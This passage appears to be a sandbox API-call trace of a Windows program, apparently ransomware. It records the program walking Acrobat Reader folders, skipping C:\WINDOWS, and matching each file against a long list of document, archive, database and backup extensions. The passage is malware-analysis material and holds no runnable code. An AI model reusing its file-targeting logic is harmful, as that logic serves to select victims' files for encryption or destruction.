ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0269.175] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0269.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0269.176] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0269.176] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 106 [0269.176] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 1 [0269.176] lstrlenW (lpString="sv-se") returned 5 [0269.176] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0269.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0269.176] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se") returned 106 [0269.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0269.176] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.176] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.176] lstrlenW (lpString="ui-strings.js") returned 13 [0269.176] lstrlenW (lpString=".1cd") returned 4 [0269.177] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.177] lstrlenW (lpString=".3ds") returned 4 [0269.177] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.177] lstrlenW (lpString=".3fr") returned 4 [0269.177] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.177] lstrlenW (lpString=".3g2") returned 4 [0269.177] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.177] lstrlenW (lpString=".3gp") returned 4 [0269.177] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.177] lstrlenW (lpString=".7z") returned 3 [0269.177] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.177] lstrlenW (lpString=".accda") returned 6 [0269.177] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.177] lstrlenW (lpString=".accdb") returned 6 [0269.177] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.177] lstrlenW (lpString=".accdc") returned 6 [0269.177] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.178] lstrlenW (lpString=".accde") returned 6 [0269.178] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.178] lstrlenW (lpString=".accdt") returned 6 [0269.178] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.178] lstrlenW (lpString=".accdw") returned 6 [0269.178] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.179] lstrlenW (lpString=".adb") returned 4 [0269.179] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".adp") returned 4 [0269.179] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai") returned 3 [0269.179] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.179] lstrlenW (lpString=".ai3") returned 4 [0269.179] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai4") returned 4 [0269.179] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai5") returned 4 [0269.179] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai6") returned 4 [0269.179] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai7") returned 4 [0269.179] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".ai8") returned 4 [0269.179] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.179] lstrlenW (lpString=".anim") returned 5 [0269.660] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.690] lstrlenW (lpString=".arw") returned 4 [0269.690] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.690] lstrlenW (lpString=".as") returned 3 [0269.690] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.690] lstrlenW (lpString=".asa") returned 4 [0269.690] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.691] lstrlenW (lpString=".asc") returned 4 [0269.699] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".ascx") returned 5 [0269.699] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.699] lstrlenW (lpString=".asm") returned 4 [0269.699] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".asmx") returned 5 [0269.699] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.699] lstrlenW (lpString=".asp") returned 4 [0269.699] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".aspx") returned 5 [0269.700] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.700] lstrlenW (lpString=".asr") returned 4 [0269.700] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".asx") returned 4 [0269.700] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".avi") returned 4 [0269.700] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".avs") returned 4 [0269.700] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".backup") returned 7 [0269.700] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.700] lstrlenW (lpString=".bak") returned 4 [0269.700] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".bay") returned 4 [0269.700] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".bd") returned 3 [0269.700] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.700] lstrlenW (lpString=".bin") returned 4 [0269.700] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".bmp") returned 4 [0269.700] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".bz2") returned 4 [0269.700] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".c") returned 2 [0269.700] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.700] lstrlenW (lpString=".cdr") returned 4 [0269.700] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.700] lstrlenW (lpString=".cer") returned 4 [0269.701] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.701] lstrlenW (lpString=".cf") returned 3 [0269.701] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0269.702] lstrlenW (lpString=".cfc") returned 4 [0269.702] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0269.702] lstrlenW (lpString=".cfm") returned 4 [0269.702] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0269.702] lstrlenW (lpString=".cfml") returned 5 [0269.702] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0269.702] lstrlenW (lpString=".cfu") returned 4 [0269.702] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".chm") returned 4 [0269.703] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".cin") returned 4 [0269.703] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".class") returned 6 [0269.703] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0269.703] lstrlenW (lpString=".clx") returned 4 [0269.703] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".config") returned 7 [0269.703] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0269.703] lstrlenW (lpString=".cpp") returned 4 [0269.703] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".cr2") returned 4 [0269.703] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".crt") returned 4 [0269.703] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".crw") returned 4 [0269.703] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0269.703] lstrlenW (lpString=".cs") returned 3 [0269.703] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0269.703] lstrlenW (lpString=".css") returned 4 [0269.703] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0269.704] lstrlenW (lpString=".csv") returned 4 [0269.704] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0269.704] lstrlenW (lpString=".cub") returned 4 [0269.704] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0269.704] lstrlenW (lpString=".dae") returned 4 [0269.704] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0269.704] lstrlenW (lpString=".dat") returned 4 [0269.704] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0269.704] lstrlenW (lpString=".db") returned 3 [0269.705] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0269.705] lstrlenW (lpString=".dbf") returned 4 [0269.705] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0269.705] lstrlenW (lpString=".dbx") returned 4 [0269.705] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0269.705] lstrlenW (lpString=".dc3") returned 4 [0269.705] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0269.705] lstrlenW (lpString=".dcm") returned 4 [0269.705] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".dcr") returned 4 [0269.706] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".der") returned 4 [0269.706] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".dib") returned 4 [0269.706] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".dic") returned 4 [0269.706] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".dif") returned 4 [0269.706] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".divx") returned 5 [0269.706] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0269.706] lstrlenW (lpString=".djvu") returned 5 [0269.706] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0269.706] lstrlenW (lpString=".dng") returned 4 [0269.706] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".doc") returned 4 [0269.706] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".docm") returned 5 [0269.706] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0269.706] lstrlenW (lpString=".docx") returned 5 [0269.706] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0269.706] lstrlenW (lpString=".dot") returned 4 [0269.706] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0269.706] lstrlenW (lpString=".dotm") returned 5 [0269.706] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0269.707] lstrlenW (lpString=".dotx") returned 5 [0269.707] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0269.707] lstrlenW (lpString=".dpx") returned 4 [0269.707] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dqy") returned 4 [0269.707] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dsn") returned 4 [0269.707] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dt") returned 3 [0269.707] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0269.707] lstrlenW (lpString=".dtd") returned 4 [0269.707] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dwg") returned 4 [0269.707] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dwt") returned 4 [0269.707] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".dx") returned 3 [0269.707] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0269.707] lstrlenW (lpString=".dxf") returned 4 [0269.707] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0269.707] lstrlenW (lpString=".edml") returned 5 [0269.707] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0269.707] lstrlenW (lpString=".efd") returned 4 [0269.708] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0269.708] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.708] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0269.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0269.708] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0269.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0269.708] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr") returned 106 [0269.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0269.709] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.709] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.709] lstrlenW (lpString="ui-strings.js") returned 13 [0269.709] lstrlenW (lpString=".1cd") returned 4 [0269.709] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.709] lstrlenW (lpString=".3ds") returned 4 [0269.709] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.709] lstrlenW (lpString=".3fr") returned 4 [0269.709] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.709] lstrlenW (lpString=".3g2") returned 4 [0269.709] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.709] lstrlenW (lpString=".3gp") returned 4 [0269.709] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.709] lstrlenW (lpString=".7z") returned 3 [0269.710] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.710] lstrlenW (lpString=".accda") returned 6 [0269.710] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".accdb") returned 6 [0269.710] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".accdc") returned 6 [0269.710] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".accde") returned 6 [0269.710] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".accdt") returned 6 [0269.710] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".accdw") returned 6 [0269.710] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.710] lstrlenW (lpString=".adb") returned 4 [0269.710] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.710] lstrlenW (lpString=".adp") returned 4 [0269.710] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.710] lstrlenW (lpString=".ai") returned 3 [0269.710] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.710] lstrlenW (lpString=".ai3") returned 4 [0269.710] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.710] lstrlenW (lpString=".ai4") returned 4 [0269.710] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.710] lstrlenW (lpString=".ai5") returned 4 [0269.710] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".ai6") returned 4 [0269.711] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".ai7") returned 4 [0269.711] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".ai8") returned 4 [0269.711] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".anim") returned 5 [0269.711] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.711] lstrlenW (lpString=".arw") returned 4 [0269.711] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".as") returned 3 [0269.711] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.711] lstrlenW (lpString=".asa") returned 4 [0269.711] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".asc") returned 4 [0269.711] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".ascx") returned 5 [0269.711] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.711] lstrlenW (lpString=".asm") returned 4 [0269.711] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".asmx") returned 5 [0269.711] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.711] lstrlenW (lpString=".asp") returned 4 [0269.711] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".aspx") returned 5 [0269.711] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.711] lstrlenW (lpString=".asr") returned 4 [0269.711] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.711] lstrlenW (lpString=".asx") returned 4 [0269.712] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".avi") returned 4 [0269.713] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".avs") returned 4 [0269.713] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".backup") returned 7 [0269.713] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.713] lstrlenW (lpString=".bak") returned 4 [0269.713] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".bay") returned 4 [0269.713] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".bd") returned 3 [0269.713] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.713] lstrlenW (lpString=".bin") returned 4 [0269.713] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".bmp") returned 4 [0269.713] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".bz2") returned 4 [0269.713] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".c") returned 2 [0269.713] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.713] lstrlenW (lpString=".cdr") returned 4 [0269.713] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".cer") returned 4 [0269.713] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".cf") returned 3 [0269.713] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0269.713] lstrlenW (lpString=".cfc") returned 4 [0269.713] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0269.713] lstrlenW (lpString=".cfm") returned 4 [0269.713] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".cfml") returned 5 [0269.714] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0269.714] lstrlenW (lpString=".cfu") returned 4 [0269.714] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".chm") returned 4 [0269.714] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".cin") returned 4 [0269.714] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".class") returned 6 [0269.714] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0269.714] lstrlenW (lpString=".clx") returned 4 [0269.714] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".config") returned 7 [0269.714] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0269.714] lstrlenW (lpString=".cpp") returned 4 [0269.714] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".cr2") returned 4 [0269.714] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".crt") returned 4 [0269.714] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".crw") returned 4 [0269.714] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0269.714] lstrlenW (lpString=".cs") returned 3 [0269.714] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0269.714] lstrlenW (lpString=".css") returned 4 [0269.714] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".csv") returned 4 [0269.715] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".cub") returned 4 [0269.715] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dae") returned 4 [0269.715] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dat") returned 4 [0269.715] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".db") returned 3 [0269.715] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0269.715] lstrlenW (lpString=".dbf") returned 4 [0269.715] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dbx") returned 4 [0269.715] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dc3") returned 4 [0269.715] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dcm") returned 4 [0269.715] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dcr") returned 4 [0269.715] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".der") returned 4 [0269.715] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dib") returned 4 [0269.715] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dic") returned 4 [0269.715] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0269.715] lstrlenW (lpString=".dif") returned 4 [0269.715] lstrcmpiW (lpString1=".dif", 